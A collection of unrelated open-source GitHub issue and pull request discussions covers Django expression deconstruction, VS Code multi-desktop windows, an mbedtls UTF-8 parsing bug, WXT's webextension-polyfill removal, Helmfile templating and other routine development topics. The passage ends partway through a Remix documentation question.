#33216 --Simplified paths for expression Classes

Deconstructed Value from django.db.models.expressions.Value() to django.db.models.Value().

This looks like a good start. Could you manage to add other classes to this PR?

If you aren't already, set up pre-commit locally for code style checks: https://docs.djangoproject.com/en/dev/internals/contributing/writing-code/coding-style/#pre-commit-checks

@adamchainz Is this fine? I will work on deconstructing other classes.

I'm afraid the current approach is broken. With the change to Expression, the path is returned for subclasses of Expression as well, and that's a lot of stuff:
>>> from django.db.models.expressions import OrderBy, F
>>> OrderBy(F("a"))
OrderBy(F(a), descending=False)
>>> OrderBy(F("a")).deconstruct()
('django.db.models.Expression', (F(a),), {})

I think @deconstructible should be fixed to only return the passed-in path for the class, and not subclasses.
This hasn't really affected anything before as it seems @deconstructible's path arg has not been used in many places before.

I'll look into it. Seems like the @Deconstructible decorator must be modified to avoid Subclass.

I have deconstructed all classes except BaseExpression Combinable Subquery and Exists.

So only the above shown classes are candidates?

I have removed @deconstructible from a few classes. Does '@deconstrutible' need to added or removed from any of the classes. Does any tests need to be written?

Q isn't a part of expressions file. It is a part of query_utils.

Q isn't a part of expressions file. It is a part of query_utils.

I know, but it can be imported from django.db.models.

Yes, we should add tests, e.g. migration serializer tests for a functional partial index. This could cover most of changes.

Should I add tests for each deconstructed class or test @deconstructible decorator alone or both.

Both.

Is there a folder in tests that contain tests for the deconstructible decorator? (I'm not able to find any). If not, where do I add my tests?
Also by creating a new pull request, changes made to deconstructible in this pull request must be removed, right?

Is there a folder in tests that contain tests for the @deconstructible decorator? (I'm not able to find any). If not, where do I add my tests?

You can add tests/utils_tests/test_deconstruct.py.

I and confused on where to add test cases for Func, When and RawSQL.

Have you seen my previous comment? I would add migration serializer tests (tests/migrations/test_writer.py) for a functional partial index with Func(), Case(), When(), and Q() and maybe a separate test method for RawSQL().

Also by creating a new pull request, changes made to @deconstructible in this pull request must be removed, right?

Yes.

Got it. Thanks @felixxm

Have you seen my previous comment? I would add migration serializer tests (tests/migrations/test_writer.py) for a functional partial index with Func(), Case(), When(), and Q() and maybe a separate test method for RawSQL().

So I should create and a partial Index, and using that do my tests for Func(), Case() etc ? If so what is the best way to create a partial index, Sorry if its a lame question, I am a beginner.

Have you seen my previous comment? I would add migration serializer tests (tests/migrations/test_writer.py) for a functional partial index with Func(), Case(), When(), and Q() and maybe a separate test method for RawSQL().

So I should create and a partial Index, and using that do my tests for Func(), Case() etc ? If so what is the best way to create a partial index, Sorry if its a lame question, I am a beginner.

Created a new pull request - https://github.com/django/django/pull/15269

Created a new pull request - https://github.com/django/django/pull/15269

Q seems to have an inbuilt deconstuct method which is quite different from deconstruct of @deconstructible. I don't think it's a good idea to add a @deconstuctible to Q

Personally, chiming in late to the party, I'd strongly advice against using @deconstructible on Q when it already has a deconstruct method. It nearly doubles the cost of creating a Q() object, because both __new__ and __init__ have to run. Q(a=1) goes from about 1.3µs to 2.2µs just by adding the decorator; that's true of most everything which uses @deconstructible, from my recollection.
I'd actually go even further and strongly advise that most of core should not be using @deconstructible where possible, and things should actually get a deconstruct method  (naturally, I have a branch with some WIP ideas, hopefully to one day be a ticket) which is custom and outputs a stable representation (which deconstructible does not, presumably relying on migrations detected it as the same in lieu of that). IMHO @deconstructible is a convenience for userland, and dogfooding it internally is actively detrimental to runtime performance in a thousand-papercuts way.
That's not to say that providing simplified paths (as here in this PR) is a bad idea, or that the PR should be blocked in any fashion, only to say ... don't go too far using @deconstructible for things like Q which already implement deconstruct successfully.

That's not to say that providing simplified paths (as here in this PR) is a bad idea, or that the PR should be blocked in any fashion, only to say ... don't go too far using @deconstructible for things like Q which already implement deconstruct successfully.

Totally agree. Also, I missed that it's already handled by Q, so there is no need to change anything.
https://github.com/django/django/blob/03a648811615cb623affc2d79dccd4b05919319e/django/db/models/query_utils.py#L82-L84

@AllenJonathan Thanks :+1:
I rebased from the main branch, squashed commits, removed @deconstructible from RawSQL (because it's not in django.db.models.__all__), and moved tests to tests/migrations/test_writer.py.


Palash/Integrate Application Insights.

Added following changes to integrate Application Insight to track Report behavior.

Added  "@microsoft/applicationinsights-react-js" and "@microsoft/applicationinsights-web": dependencies to integrate the react package for supporting Application Insight.
Added all the changes in Report.tsx to track user's behavior with our report. "SyncReportOpenEvent" will track the user behavior while user open the report and it will log all the details as soon as user get exited from the report page and "IssueArticleOpenEvent" Will track the user's behavior when they will click the issue article .
The consuming application will need to pass the connectionString to access the Application Insight and telemetry which we will log in the Application Insight when the above event will fire.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Support JSON fields

Can we have JSON fields to be inserted?

@humbao where do you get those JSON fields from? there is no JSON column type, so I'm wondering if this is the optimal route to take here.

Sorry I was unlear. I meant JSON inserts. Currently the code implements the field definition by the -schema flag which defines a fixed field list which corresponds  exactly to a delimited data source.
Implementing the JSON insert would allow for flexible "schemaless" import ability.
Thus each line in the data source is a complete JSON object which also defines the field list and also allow for more complicated structures using the other collection data types.
Refer to:
http://www.datastax.com/dev/blog/whats-new-in-cassandra-2-2-json-support
http://cassandra.apache.org/doc/cql3/CQL-2.2.html#insertJson
This doesn't have to be a part of this codebase(although much of the existing structure can be applied), it could be a derivative or standalone.

@humbao JSON import makes sense. (as a side note, I don't think it actually needs to be anymore line-based)

What you are suggesting here is loading JSON data - basically, a JSON parser followed by CQL insert.  This project is more about delimited file loading.  While I think the code could support both, the parsing bit is different.
-schema is there for 2 reasons.  First, it identifies the destination for the data (note that there is no -table or -keyspace option).  Second, it lays out the order of the columns in the delimited file.  While you wouldn't need the second, you'd need to do something about the first.
I'd be happy to consider pulling that sort of thing into this code, but would need to think about how you specify things.  Would it be a -format option (delimited versus JSON versus something else)?  And each -format option would have different options for it (e.g., -schema for delimited, -table/-keyspace for JSON, etc).

JSON was added in v0.0.21.


python process killed when running the tutorial example

Run the given example in my local computer and showed this. Is that memory not enough or something else went wrong?

@lianggaoquan Is there a reason you closed this issue? Could you mention the root cause and resolution if you have identified them?


Open Files in New Window shall have a better way

My vscode version: 1.66.2 on Windows10
Developers always tend to open multiple desktops to handle different projects in Windows10.
In current provided setting options, you have to suffer:

New Window On: Open files in current desktop, but massive windows, not expected one instance (window)
New Window Off: Open file in current active desktop, but randomly switch to another deskop which had one vscode instance. That's very annoying and inconvenient.

What I expected?
There shall be another option for users to choose. Open files in the same instance, if current active desktop existed an vscode window. Otherwise, open files with a new instance in current window. Anyway, it should not aotomatically switch to another desktop.
Hope you could consider my suggestions! Thanks!

Not sure what from the original issue lines up with what I'm seeing for this, as there is some ambiguous language.  I'll try and clarify some of the considerations, as well as issues to improve:
As I see it, the multi-desktop usage of VS Code has a couple elements to consider/improve:

Multiple desktops often coexist with multiple screens, e.g., I've got 2 big screens and my laptop screen, as well as 3 desktops.  I have the laptop display below the others, and it always has Teams up and running regardless of which desktop I'm on.
Desktops usually organize work, but not everyone follows the same paradigms for how they group things, e.g., does every project get its own set of web browsers and communication channels, or is there one desktop for all the browsing and other desktops have other groupings?
Many developer applications such as Polyspace, Git, etc. allow you to choose your editor of choice for code/comments/quick edits.  VS Code is usually a prime candidate for that;  BUT, those integrations force you to make a choice between reusing "the" existing window with the -r flag, or always open a new window with the -n flag.  It turns out neither of these is great once you move into the realm of multiple VS Code workspaces/open folders for different projects across desktops.  The -r flag has neither a sense of which window to reuse nor understanding of the file being opened possibly already being opened in a VS Code workspace/folder (or even part of that workspace/folder if not opened).   The -n flag is OK, as it can treat each window as disposable; however, it too suffers from not knowing if the file being opened is already opened and partly edited anywhere - which is more likely when someone is working in multiple projects/desktops!  🤣
If a file is being opened for the first time and is part of a project VS Code knows about, and that window is usually opened on a specific desktop at a specific size or maximized, VS Code has no way of remembering this either.  A common issue after reboots and getting back to a project for the first time since reboot.

I don't know what the path will be for addressing this issue overall, but I suspect there could be some common pieces to reuse here that would address all the points raised w/ respect to not just desktop memory, but file vs window vs workspace memory.

@trailstrider Hi! Thanks for your comment and considerations.
I totally agree with you. As you mentioned in the third point, current existed flags about "stating a VS Code instance (or window)" cannot handle these annoying issues. Some other heavy ides will have a server to manage the windows and file opened or even have a tiny database to record them. And I wonder if Windows 10/11 has provided some Apis for the virtual desktops. That may help VS Code decide which desktop to start the new instance.
Actually, this is a common issue for nearly all the lightweight text editors. It will greatly facilitate the community if we can find a way to address it, though it may involve many things: desktop memory, file, workspace, desktop manager and so on.

We closed this issue because we don't plan to address it in the foreseeable future. If you disagree and feel that this issue is crucial: we are happy to listen and to reconsider.
If you wonder what we are up to, please see our roadmap and issue reporting guidelines.
Thanks for your understanding, and happy coding!


IGNITE-17986 SchemaManager recovery was broken after refactoring

@denis-chudov plz check my comments, thanks !

@denis-chudov all done, thanks for review


Incorrect calculation of Isometry2d from 3d

In https://github.com/coincar-sim/util_eigen_geometry/blob/release/src/util_eigen_geometry.cpp#L221,
the calculation of the 2D rotation matrix is done by using the (2,2) sized top left block of the 3D rotation matrix. In the general case, this is not a rotation matrix since the determinant = 1 requirement is not fulfilled (except for special cases, such as z pointing upward). For example, a transformation that is slightly pitched by -0.1 will give the following 2D rotation matrix:
0.995 0
0     1

which is not actually a rotation matrix, or for pitch = -1 and roll = 0.6
0.5403,   0.4751
8.61e-17  0.8253

. The yaw angle can be computed from the matrix (see https://en.wikipedia.org/wiki/Rotation_formalisms_in_three_dimensions#Rotation_matrix_→_Euler_angles_(z-x-z_extrinsic) ), but so far I've been unable to find the correct formulation. Any Ideas?

Hi @joeda
you revealed that we are missing documentation. All provided methods silently assume that 2d<->3d conversion works by neglecting z, i.e. we assume to be in the x-y-plane with z=0.
I'll also look into your problem closer in June, sorry for this delay


compileSdkVersion is not specified. Please add it to build.gradle error while building

I am trying to use react-native-hms-location package but when i try to build my app i am getting this error:
compileSdkVersion is not specified. Please add it to build.gradle
I am pretty sure compileSdkVersion is added to build.gradle

buildscript {
    ext {
        buildToolsVersion = "31.0.0"
        minSdkVersion = 21
        compileSdkVersion = 31
        targetSdkVersion = 31
        googlePlayServicesVersion = "17.0.0"

        if (System.properties['os.arch'] == "aarch64") {
            // For M1 Users we need to use the NDK 24 which added support for aarch64
            ndkVersion = "24.0.8215888"
        } else if (Os.isFamily(Os.FAMILY_WINDOWS)) {
            // For Android Users, we need to use NDK 23, otherwise the build will
            // fail due to paths longer than the OS limit
            ndkVersion = "23.1.7779620"
        } else {
            // Otherwise we default to the side-by-side NDK version from AGP.
            ndkVersion = "21.4.7075529"
        }
    }

RN version: 0.68.1
Package version: 6.4.0-300

Please check whether the following configurations exist:

https://github.com/HMS-Core/hms-react-native-plugin/blob/master/react-native-hms-location/example/android/app/build.gradle

These configurations already exists:

This is not about it. When i remove this package i can compile successfully. The problem is the package itself.

Hi @ycdaskin,
The compileSdkVersion is not specified error is related to maven-publish issue of React Native ( #222 ) and already solved with a patch release. Please try the newest version of Huawei RN Location plugin (6.4.0-301) and let us know if the error persists.


Add Nodes.Guru contacts

This PR has been automatically closed because it does not follow the correct procedure for updating the genesis file.
Filename contains more than one dot (in addition to .toml)
This PR does not add a single .toml file.


Upgrade to Node 18 on CI

Upgrade to Node 18 on CI now that Node 18 is active LTS

Thanks @lilleyse


Don't use webextension-polyfill by default

Feature Request
Currently, WXT's browser is the default export from webextension-polyfill. However, now that Chrome doesn't support MV2 extensions, and Firefox has MV3 support, it's not really doing anything anymore... It's main features were:

Add promise-based API to chrome's MV2 implementation
Providing a single global variable so you don't have to use both chrome and browser

However, those two features are no longer necessary:

Add promise-based API to chrome's MV2 implementation

Firefox and other browsers all support MV3 now, and Firefox's MV2 APIs are already promise-based. So you can write promise-based API calls and it will work on all browsers

Providing a single global variable so you don't have to use both chrome and browser

All browsers now support the chrome global, but WXT will continue to re-export it's own browser variable.

So how is WXT going to remove the polyfill?
First, it will provide some flag in config to continue using it if you want, but the polyfilll will not be the default. It will be moved to an optional peer-dependency so it's not even installed if it doesn't have to be.
Second, we'll be replacing @types/webextension-polyfill with @types/chrome. This will address lots of the problems with missing API and manifest types, at the cost of not being able to use type errors to know what's supported by all browsers and what's not. Either way, both ways have problems, but I think @types/chrome will provide a better DX.
Finally, we'll need to update wxt/testing to make sure it properly fakes the API. Not sure if @webext-core/fake-browser is still the best option for providing a fake version during development. Edit: Been looking and can't find anything else on NPM
So in summary, you shouldn't have to make any changes to your source code or tests. That's the goal, to make this transition as seemless as possible. You'll be able to opt into using the polyfill from wxt.config.ts. There will be breaking changes to types, don't think I can get around that.
If you use a library that includes the polyfill, it will work just fine, the polyfill will still be included.
Is your feature request related to a bug?
https://github.com/wxt-dev/wxt/issues/506 - The vite-node solution works well, but the polyfill is getting in the way.
https://github.com/wxt-dev/wxt/issues/521 - Improve manifest typing
https://github.com/wxt-dev/wxt/issues/299 - Improve runtime API typing
What are the alternatives?
N/A
Additional context

Discord: https://discord.com/channels/1212416027611365476/1253736416425410560

Does the default build target for wxt build -b firefox change to MV3?

Does the default build target for wxt build -b firefox change to MV3?

Good call out... I'm going to say no for now. MV2 for Firefox is a better user experience and there are no problems with dev mode (MV3 CSP blocks loading scripts from localhost). So I'm a little hesitant to switch the default.
Do you want to switch to MV3 by default? If so, what are your reasons @aiktb

https://github.com/mozilla/webextension-polyfill/issues/210
webextension-polyfill causes shorter stack traces, I've tripped over this issue several times and recently ran into it again.
It makes debugging the extension more difficult.

chrome.tabs.query is not compatible with firefox ...
I'm afraid that using the chrome namespace alone won't support firefox for this reason.
popup.html:

Perfect, thanks for sharing! I'm planning on manually polyfill-ing things like this so it just works. If you notice anything else, please share!

chrome.tabs.query is not compatible with firefox ... I'm afraid that using the chrome namespace alone won't support firefox for this reason.
popup.html:

The essence of the problem I found is that the API under the chrome namespace in Firefox MV2 is based on callbacks, it's not an alias for browser.

Alright, I've done some refactoring and added an option to preview what the API will look like in v0.19.0.

Enable the optionexport default defineConfig({
  extensionApi: "chrome",
});

Install @types/chrome and prepare the projectpnpm i -D @types/chrome
pnpm wxt prepare

To make sure the polyfill has been removed, do a build analysis:
pnpm build --analyze --analyze-open

There should be no other code changes required. Your extension should work the same way as before. If you run into issues, either at runtime or with types, please report them!

I will also add, as of 0.19.0, the manifest type in your wxt.config.ts will still be using the type from the polyfill. Once the polyfill is no longer the default, the type will be updated.

Closing this issue in favor of https://github.com/wxt-dev/wxt/issues/868


mbedtls_x509write_crt_set_subject_name, mbedtls_x509_dn_gets fail to handle UTF8 multibyte properly

I'm on mbedtls-2.16.6.
I generate a self signed cert and I pass a utf-8 encoded multibyte string into certificate subject and issuer using:
mbedtls_x509write_crt_set_subject_name

I then retrieve it back using:
mbedtls_x509_dn_gets

It works great for ascii, however when I pass in a string containing the sequence below representing an apostrophe in UTF8 (')
0xe2 0x80 0x99

It will not get parsed out correctly. What I actually get back is where the last byte of multibyte sequence is replaced with question mark (?)
0xe2 0x80 0x3f

I do not understand enough of ASN.1 to troubleshoot this further, however I was able to figure out that mbedtls_x509_dn_gets is actually trying to parse out tag 12 that should be utf8.

I have tried to apply the patch https://github.com/ARMmbed/mbedtls/pull/3326/files against 2.6.16, but that patch fails to decode utf-8 multibyte stored in the subject field.
Instead it simply replaces all occurrences of utf-8 control chars with question mark therefore masking the utf-8 completely. Not a good fix IMHO.
Effectively turning a string Hello'
Hello\xe2\x80\x99

into
Hello???

Hi @mman. It's better to ask questions like this on the Mbed TLS developer list:
https://lists.trustedfirmware.org/mailman/listinfo/mbed-tls
This issue tracker is now only for (confirmed) bugs and enhancements. It sounds like what you're asking for is to make this code UTF-8 aware but even then there will be limitations to the characters that can be printed out. If there's consensus on the list that this would have value then an enhancement task can be created.

@danh-arm Moved the discussion over, thanks for looking into it.

This is the same bug as https://github.com/ARMmbed/mbedtls/issues/3303, isn't it? This bug is fixed in the development branch and the fix will be in the next release (2.23).
In https://github.com/ARMmbed/mbedtls/pull/3326#issuecomment-633544478 I wrote that this didn't need to be backported because it's “a minor bug in a function that is for debugging and logging purposes”, but I was thinking of mbedtls_x509_crt_info, not mbedtls_x509_dn_gets. Should we backport the fix after all?

@gilles-peskine-arm The problem is that the fix for #3303 is kind of broken IMHO. Instead of correctly passing out three bytes of UTF-8 sequence it actually replaces all control chars with ? effectively turning a string like this SuperHero's Device into SuperHero???s Device because the apostrophe in the original name is represented as UTF-8 multibyte sequence \xe2\x80\x99.
All this is unnecessary I think because the underlying ASN representation is tagged as UTF-8.
I fail to see the logic behind replacing the control chars completely.

@mman Ah, indeed. I'll reply to your message on the mailing list.


Create SECURITY.md

To let the repository confirm<EMAIL_ADDRESS>as its security contact.

Thanks!


USB-C power delivery

Hi, I have a project that I can share demonstrating USB-C power delivery on the DA1469x. It requires a custom board featuring the STUSB1602 analog front-end controller. The project interfaces with two of these IC's to provide a USB-C PD power input (sink) and output (source). For that it uses I2C, GPIO and separate SPI connections.
Is this something worth adding to the example collection?

Hello @hupster,
Thank you very much for your contribution! I changed the target branch of your pull request so you don't (yet) need to pass the CI checks since that won't work if it's a fork from a private repo. We will now proceed with reviewing the code.

Hello Koen, no problem. It is quite a lot of code and requires a custom board, but I hope others who have the same requirements can using it as a starting point and proceed with the cleanup that I have started in the USB-C PD stack. I also have a post placed on the ST forum.


Fix minor accessibility issues found in recent scan

These changes fix the following accessibility issues:
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/904918
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/904930
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/904941
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/905541
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/910823
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/910473
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/910459
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/905573
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/905742
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/904912
https://devdiv.visualstudio.com/DevDiv/_workitems/edit/917909

Could you add screenshots for the things that have changed (default input color, heading size reduction, etc..)

@loic-sharma - done. IMO it's pretty difficult to see the difference.


German Fixes and Improvements

I changed the capitalization of the personal pronouns in German to fit better.
Apart from that, I improved the translation of some tips.

@zedritsch I think I improved some little things about the translation, what do you think?

@zedritsch Regarding starting with a capital letter, I learned it this way and looking at https://www.duden.de/sprachwissen/sprachratgeber/Gross-oder-Kleinschreibung-von-duDu-und-ihrIhr I would say both are right, as the game is directly speaking at the player, so "Allgemein gilt: In allen Textformen, in denen der Autor selbst den Leser persönlich anredet, kann man du/Du und die genannten Wörter großschreiben." fits.
Regarding Tip16: I saw multiple games where it was written as "Pausenmenü" not "Pausemenü". I cant really tell which one is grammatically correct, but I found no use of "Pausemenü"
Regarding OddTip5: For "deceased" I would say "verstorben" is both correct and fitting?
Regarding OddTip8: I dont know this reference, I just googled it and found a marvel creature under that name and thought that the tip meant a singular creature
I will add the additional language buttons

It's in the first paragraph

In der Regel werden die Formen des Anredepronomens du kleingeschrieben, ebenso dann auch die der Mehrzahl ihr. [...]

Tip16: In the end, it doesn’t matter whether it’s singular or plural
OddTip5: Well, "deceased" refers to living beings, but nowadays hardly anyone distinguishes between them
OddTip8: I based my translation on the phenomenon of multi-headed creatures. However, it is very likely that @``FinalForEach meant this creature specifically
Additional Buttons: 👍🏻
I'll leave it up to you whether you keep these translations in. The only thing I strongly disagree with is the capitalization of the pronouns. Just because it is allowed in letters or something similar doesn't make me prefer it to the norm
@Max-Henning-Junghans

@zedritsch Was away this week, saw that you added my improvements meanwhile. Thanks for that :)


Add attention mask to Bert, fix BGE batch

Closes #1798
It can be tested with cargo run --example bge --release which embeds
vec![
    "The cat sits outside".to_owned(),
    "some other text that will use padding".to_owned(),
]

and logs
Loaded and encoded 271.802981ms
[[-0.0362, -0.1016,  0.0278, ...,  0.1005,  0.0246,  0.0366],
 [ 0.0024,  0.0101, -0.0084, ..., -0.0010,  0.0038,  0.0096]]
Tensor[[2, 768], f32]
Took 131.11227ms

And also with cargo run --example bge --release -- --prompt "The cat sits outside"
which logs:
Loaded and encoded 244.278562ms
[[-3.6233e-2, -1.0165e-1,  2.7755e-2,  8.0149e-3,  3.2675e-2,  1.3506e-2,
.. omitted for brevity ..
   6.9497e-3, -2.0638e-2,  3.9833e-3,  1.0049e-1,  2.4590e-2,  3.6645e-2]]
Tensor[[1, 768], f32]
Took 58.801007ms

A Python implementation with the same data and model is available here: https://github.com/lucasavila00/candlerepro/blob/main/test.ipynb

Feel free to finish the MR, request edits, or close it
I can't improve it on my own anymore and I'll leave it as a draft


Mixed Add Scheduler Question

Hello -- I wasn't sure where to ask this question. It is quite likely a very silly one! I'll really appreciate clarification and help on this!
I was looking at the design in this article: https://eprint.iacr.org/2022/1396.pdf
Curious why the delay scheduler is used. Can't we send a new addition to pipeline as soon as we have two operands (either points or the aggregation) corresponding to the same bucket ready?
At time $t$, we pull up a reduced scaler $a_t$ and a point $P_t$. Assuming no collision so far, this is simply fed to the MixedAdd pipeline to compute $S_t \leftarrow S_t + P_t$. However in the meantime, say at $t+1$ when the point $P_{t+1}$ is pulled and if it collides, if I understand correctly, this is going to have to wait till the aggregation $S_t$ is ready. Moreover, if at $t+2$ if we collide again, this point will need to wait till $S_{t+1}$ is ready.
However, at $t+2$ we already have two operands for the bucket ready (even though the aggregation $S_t$ is still in pipeline. So we can still feed $P_{t+1}$ and $P_{t+2}$ to the adder to get $S'_{t+1,t+2} \leftarrow P_{t+1}+P_{t+2}$. Ultimately, when both $S_t$ and $S'_{t+1,t+2}$ are ready, these can be fed to the pipeline again $S_{t+2} \leftarrow S_t + S'_{t+1,t+2}$. This can be extended to support larger number of collisions as well, the idea being as long as we have two operands ready, we can always dispatch them for the MixedAdd.
Overall the delay in computation reduces from $3T$ to $2T+2$.
In this approach we are doing the same number of operations. This will need additional resources though, a few FIFOs, likely one per bucket (?).
I'd like to know whether there is some mathematical reason to not do it this way, or if the resource requirements become to large to handle.
Thanks in advance for reading through it!

In short, there's no mathematical reason.
The issues are purely practical: how many resources do you need and how much time does it take to do any extra operation. Often time it's also pretty hard to estimate without an actual experiment.
See also these PRs to gnark-crypto, I think they illustrate the problem pretty well:
https://github.com/Consensys/gnark-crypto/pull/249
https://github.com/Consensys/gnark-crypto/pull/261
Even the check "is this point already in the current batch? (and therefore needs to be added to the queue)" needs to be implemented somehow, e.g. by setting a bit to 1 every time you add a point to the current batch... but an extra write in memory is pretty expensive at this level of optimization.
On FPGA we just implemented the simplest solution we could as the deadline for the Zprize was coming fast. It's certainly possible that someone will come up with an improved scheduler.

Got it! Thanks for the prompt response, Emanuele!


Can't Access .Release.Name for Templating

Hello there,
I'm currently trying to template releases for our deployment but I'm somewhat out of ideas when is comes to getting the snippets for version, devel and condition to work and not repeat myself endlessly.
The Goal is to make releases configurable via environment values.
My File basically looks like this, where the releases themselves are almost identical except for their respective value names.
environments:
  default:
    values:
    - namespace: dev-local
  dev:
    values:
    - namespace: development
  prod:
    values:
    - namespace: production
    - svc:
        version: ^1.0.0
        devel: false
    - svc-extra:
        devel: false
    - svc-db:
        enabled: false
---
values:
  - svc:
      enabled: true
  - svc-extra:
      namespace: monitoring
      enabled: true
  - svc-db:
      enabled: true
---
helmDefaults:
  createNamespace: false
releases:
  - name: svc
    namespace: {{ .Values | get "svc.namespace" .Values.namespace }}
    chart: scr/{{`{{.Release.Name}}`}}
    version: {{ .Values | get "svc.version" "*" | quote }}
    devel: {{ .Values | get "svc.devel" true }}
    condition: svc.enabled
    values:
      - ../../values/{{ .Environment.Name }}.yaml
      - ../../values/common/{{`{{ .Release.Name }}`}}-values.yaml
      - ../../values/templates/release-values.gotmpl
  - name: svc-extra
    namespace: {{ .Values | get "svc-extra.namespace" .Values.namespace }}
    chart: ../../charts/{{`{{.Release.Name}}`}}
    version: {{ .Values | get "svc-extra.version" "*" | quote }}
    devel: {{ .Values | get "svc-extra.devel" true }}
    condition: svc-extra.enabled
    values:
      - ../../values/{{ .Environment.Name }}.yaml
      - ../../values/common/{{`{{ .Release.Name }}`}}-values.yaml
      - ../../values/templates/release-values.gotmpl
  - name: svc-db
    namespace: {{ .Values | get "svc-db.namespace" .Values.namespace }}
    chart: ../../charts/{{`{{.Release.Name}}`}}
    version: {{ .Values | get "svc-db.version" "*" | quote }}
    devel: {{ .Values | get "svc-db.devel" true }}
    condition: svc-db.enabled
    values:
      - ../../values/{{ .Environment.Name }}.yaml
      - ../../values/common/{{`{{ .Release.Name }}`}}-values.yaml
      - ../../values/templates/release-values.gotmpl

Trying to get templating to work I came up with this, which still needs multiple repetitions for releases
[-snip-]

templates:
  base-release: &base-release
    values:
      - ../../values/{{ .Environment.Name }}.yaml
      - ../../values/common/{{`{{ .Release.Name }}`}}-values.yaml
      - ../../values/templates/release-values.gotmpl
  local-release: &local-release
    <<: *base-release
    chart: ../../charts/{{`{{.Release.Name}}`}}
  scr-release: &scr-release
    <<: *base-release
    chart: scr/{{`{{.Release.Name}}`}}

releases:
  - name: svc
    <<: *scr-release
    namespace: {{ .Values | get "svc.namespace" .Values.namespace }}
    version: {{ .Values | get "svc.version" "*" | quote }}
    devel: {{ .Values | get "svc.devel" true }}
    condition: svc.enabled

[-snip-]

Ideally I'd like to use something like this, but as soon as I try to use .Release.Name anywhere else than values or chart, I get errors.
[-snip-]

templates:
  base-release: &base-release
    namespace: {{ .Values | get .Release.Name | get "namespace" .Values.namespace }}
    version: {{ .Values  | get .Release.Name | get "version" "*" | quote }}
    devel: {{ .Values  | get .Release.Name | get "devel" true }}
    condition: svc.enabled
    values:
      - ../../values/{{ .Environment.Name }}.yaml
      - ../../values/common/{{`{{ .Release.Name }}`}}-values.yaml
      - ../../values/templates/release-values.gotmpl

[-snip-]

err: error during issue.yaml.part.2 parsing: template: stringTemplate:20:40: executing "stringTemplate" at <.Release.Name>: can't evaluate field Release in type state.EnvironmentTemplateData
in ./issue.yaml: error during issue.yaml.part.2 parsing: template: stringTemplate:20:40: executing "stringTemplate" at <.Release.Name>: can't evaluate field Release in type state.EnvironmentTemplateData

I couldn't quite wrap my head around how to get this to work. Especially how to template the value for condition.
Any Help would be greatly appreciated.
-Markus

Small Succes, I got the template for namespace and version to work.
templates:
  base-release: &base-release
    namespace: {{`{{ .Values | get .Release.Name | get "namespace" .Values.namespace }}` | quote }}
    version: {{`{{ .Values | get .Release.Name | get "version" "" }}` | quote }}
    values:
      - ../../values/{{ .Environment.Name }}.yaml
      - ../../values/common/{{`{{ .Release.Name }}`}}-values.yaml
      - ../../values/templates/release-values.gotmpl
  local-release: &local-release
    <<: *base-release
    chart: ../../charts/{{`{{.Release.Name}}`}}
  scr-release: &scr-release
    <<: *base-release
    chart: scr/{{`{{.Release.Name}}`}}

Trying to apply this scheme to devel yields an error because it expects a bool.
devel: {{`{{ .Values | get .Release.Name | get "devel" true }}` | quote }}

in ./issue.yaml: failed to read issue.yaml: reading document at index 1: yaml: unmarshal errors:
  line 22: cannot unmarshal !!str `{{ .Val...` into bool

Removing the quote function at the end changes the unmarshal error to
in ./issue.yaml: failed to read issue.yaml: reading document at index 1: yaml: unmarshal errors:
  line 22: cannot unmarshal !!map into bool

I don't quite understand why the above template behaves like that, as the value should be set correctly by the final get function.
A push into the right direction would be greatly appreciated.
-Markus


Repo name is nsls-ii-tools and package name is nsls2tools?

I didn't catch this inconsistency when reviewing #2. Our choices are:

leave as is
change repo name to nsls2tools, which is inconsistent with the name printed on our building
change package name to nsls_ii_tools or nslsii_tools

We could also just call the package nslsii or nsls_ii and drop the 'tools'. I kind of like that.

I've been thinking, why not just call the repo nsls2tools as well ?  Then we are consistent ?

This is a package to convert nsls into tools? ;)
I like naming the package nslsii

I also like nslsii. When this was raised in the past, someone (don't recall who) raised the concern that it squats too broad on a scope. In my opinion, a Python library that provides data acquisition and analysis tools for all NSLS-II beamlines is sufficiently broad to claim nslsii on PyPI.

Done.


FAQ updates in CD

FAQ updates in CD

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Create translation and enrichment functions file

Description
Add standalone translation and enrichment functions file. Add testing.

Checklist

[ ] The code is understandable and maintainable to people beyond the author.
[ ] Tests have been added/updated to verify that the new or changed code works.
[ ] There is no commented out code in this PR.
[ ] The commit message follows good practices.
[ ] All docstrings are still up-to-date with these changes.

If user exposed functionality was added/changed:

[ ] Documentation added/updated in the doc folder.
[ ] New or updated dependencies have been added to setup.py.

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

165 of 241 (68.46%)  changed or added relevant lines in 5 files are covered.
283 unchanged lines in 9 files lost coverage.
Overall coverage decreased (-0.8%) to 84.069%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

armi/reactor/reactors.py
1
2
50.0%

armi/physics/fuelCycle/fuelHandlerInterface.py
9
11
81.82%

armi/physics/fuelCycle/translationFunctions.py
136
209
65.07%

Files with Coverage Reduction
New Missed Lines
%

armi/interfaces.py
1
81.07%

armi/reactor/assemblyLists.py
3
58.67%

armi/settings/fwSettings/globalSettings.py
3
97.14%

armi/utils/plotting.py
7
80.95%

armi/reactor/reactors.py
9
88.5%

armi/physics/fuelCycle/fuelHandlerInterface.py
18
50.85%

armi/bookkeeping/db/database3.py
19
86.19%

armi/bookkeeping/historyTracker.py
73
42.39%

armi/physics/fuelCycle/fuelHandlers.py
150
69.13%

Totals

Change from base Build<PHONE_NUMBER>:
-0.8%

Covered Lines:
24787

Relevant Lines:
29484

💛  - Coveralls


Possible Documentation Issue - watchPaths

What version of Remix are you using?
1.7.5
Steps to Reproduce
I am wondering if there is a documentation issue related to watchPaths. In my effort to get watchPaths working in a Turborepo repo (which I still have not been able to), I came across inconsistent information about watchPaths.
The documentation...
